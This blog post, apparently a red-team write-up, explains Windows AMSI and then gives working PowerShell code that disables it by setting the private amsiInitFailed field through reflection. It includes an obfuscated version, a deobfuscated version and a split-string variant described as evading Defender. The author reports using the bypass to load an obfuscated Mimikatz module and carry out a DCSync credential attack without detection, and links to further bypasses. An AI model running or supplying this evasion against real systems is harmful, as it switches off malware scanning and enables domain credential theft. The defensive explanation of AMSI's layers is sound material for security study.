⚠️ Disclaimer

This research is published strictly for educational and defensive security purposes. All testing was conducted in isolated lab environments with proper authorization. This post is written to help red teamers and authorized purple/red teams understand AMSI, modern evasion trends, and how to bypass AMSI ethically in a lab.

🔬 Understanding AMSI: The Technical Foundation

AMSI — the Antimalware Scan Interface is a runtime interception point that hands script and in-memory content to antimalware providers — valuable, but not a single point of defense. In a fully isolated, authorized lab and latest Windows 11 builds, with up-to-date Defender/CrowdStrike patches), I observed that neutralizing AMSI callbacks could prevent AMSI from scanning script contents in that process, yet EDR telemetry and behavioral rules may still detect follow-on activities.

Think of it as a bridge. Script hosts (like PowerShell) and other runtime engines hand text or byte content to AMSI, and the registered antimalware provider inspects it. The provider then decides whether to allow, block, or log the content.

Key Components:

  • amsi.dll: The core library that applications load
  • IAntimalware Interface: Communication layer between apps and AV
  • Content submission: How scripts/commands are sent for scanning
  • Response handling: How applications react to scan results

Important, practical points:

  • AMSI looks at content at runtime (script text, decoded payloads in memory). That makes it much more effective than file-only scanning for many obfuscated attacks.
  • It's an interface, not an enforcement engine. The protections depend on the antimalware product sitting on the other side and the rest of your telemetry stack.
  • If an attacker can prevent the runtime from calling the AMSI interface, then the antimalware provider simply never sees the content — but that's only one step in an attacker's chain.

Think of AMSI as a checkpoint on a road. If someone tricks the traffic lights in a single car, that car might pass, but cameras and plate readers along the route — and suspicious driving patterns — still give defenders multiple chances to detect malicious activity.

🔍 Defense Mechanisms

Modern Windows systems have multiple layers:

  • AMSI — Content-based scanning
  • Script Block Logging — Full command logging
  • Constrained Language Mode — Execution restrictions
  • AppLocker/WDAC — Application control
  • EDR Behavioral Detection — Pattern analysis

🛠 AMSI Bypass

Traditional Bypass:

SeT-Item ( 'V'+'aR' +  'IA' + (("{1}{0}"-f'1','blE:')+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varIABLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."AssEmbly"."GETTYPe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em')  ) )."getfiElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,'  ))."sETVaLUE"(  ${nULl},${tRuE} )

#Deofuscated Version of Same
Set-Item Variable:q2uZx ([Type]::GetType("System.Management.Automation.AmsiUtils"))

$q2uZx.Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed", "NonPublic,Static").SetValue($null, $true)
None

When we run this, the payload itself is blocked.

Even with obfuscation, AMSI/Defender recognizes the pattern of:

  • AmsiUtils string (even when built with format operators)
  • amsiInitFailed string
  • The sequence of GetType → GetField → SetValue
  • All on visible strings that can be scanned

I tried multiple variations of obfuscated versions of this (Thanks to dannielbohannon's Invoke-Obfuscation) but to no avail.

Now using a revised strategy:

  • The word "Amsi" is never complete in our new bypass
  • Static signature scanning can't match "AmsiUtils" as a string
  • Concatenation happens in memory during execution
  • We use [Ref] which is less commonly flagged than [Type]::GetType()
  • Gets the Assembly directly without calling suspicious GetType method first
  • Breaks up the execution into discrete steps & multi-step variables (If we run it as a single block together , even this will be picked up)
$a = 'System.Management.Automation.A';$b = 'msiUtils'
$c = [Ref].Assembly.GetType($a+$b)
$d = $c.GetField('amsiInitFailed','NonPublic,Static')
$d.SetValue($null,$true)

Technical Breakdown:

  1. We build the class name but Split "AmsiUtils"to avoid basic signature detection.

Full name: System.Management.Automation.AmsiUtils This is the internal PowerShell class that handles AMSI.

2. Get the type — [Ref].Assembly - Gets the System.Management.Automation assembly (PowerShell's core)

.GetType() - Uses reflection to access the AmsiUtils class

Reflection = Accessing internal/private code at runtime The AmsiUtils class and amsiInitFailed field are private (not meant to be accessed).

3. GetField('amsiInitFailed') - Finds a private boolean variable

'NonPublic,Static' - Specifies it's a hidden, static field

This field tracks whether AMSI initialization failed

4. We flip the switch:

$d.SetValue($null,$true) ``` — Sets `amsiInitFailed` to `true`

PowerShell thinks AMSI failed to load & PowerShell disables AMSI checks for the session.

## What Happens? 
Normal Flow: PowerShell Code → AMSI → Defender → Block/Allow 
After Bypass: PowerShell Code → AMSI (disabled) → Execute directly

##Why this works?
if (amsiInitFailed) {
    // Skip AMSI scanning
    return AMSI_RESULT_CLEAN;
}

By setting amsiInitFailed = true, 
we trick PowerShell into thinking AMSI isn't available, 
so it skips all scanning.

Find more cool obfuscated version of this bypass on my Github Repo:

https://github.com/thesecguy45/Tools/blob/main/AMSI-Bypasses

🔓 PoC

For PoC, I used an obfuscated PowerShell version of Mimikatz to demonstrate:

  1. How modern defenses block even obfuscated tools
  2. The effectiveness of AMSI when functioning
  3. The impact when AMSI is bypassed

Find the script on my Github repo:

Initial Attempt (AMSI Active)

None

Import blocked by Defender

When attempting to import the obfuscated Invoke-Mimi module with AMSI active. Defender immediately flagged the content, AMSI successfully identified malicious patterns , Defender & Event logs showed clear detection signatures.

Lets try the bypass now:

The technique I tested uses .NET reflection to manipulate the AMSI initialization state (Details already discussed above)

$a = 'System.Management.Automation.A';$b = 'msiUtils'
$c = [Ref].Assembly.GetType($a+$b)
$d = $c.GetField('amsiInitFailed','NonPublic,Static')
$d.SetValue($null,$true)

To avoid signature-based detection of the bypass itself, you can use Base64 encoding and string concatenation (Refer to my Github Repo)

None

We are successfully able to import the module now using dot sourcing or you can use same Import-Module method.

Verify with Get-Module if the module was loaded.

Let's test it with a DCSync attack:

None

Wooh ! We successfully performed a DC Sync attack without invoking Defender or EDR.

This bypass will likely remain effective until Microsoft implements deeper reflection monitoring. However simple obfuscation variations can extend the lifespan of reflection-based bypasses until fundamental architectural changes are made.

📚 Resources & References

Tools Used:

Remember: With great knowledge comes great responsibility. Use these techniques ethically and legally.

Stay sharp, stay ethical! ✌️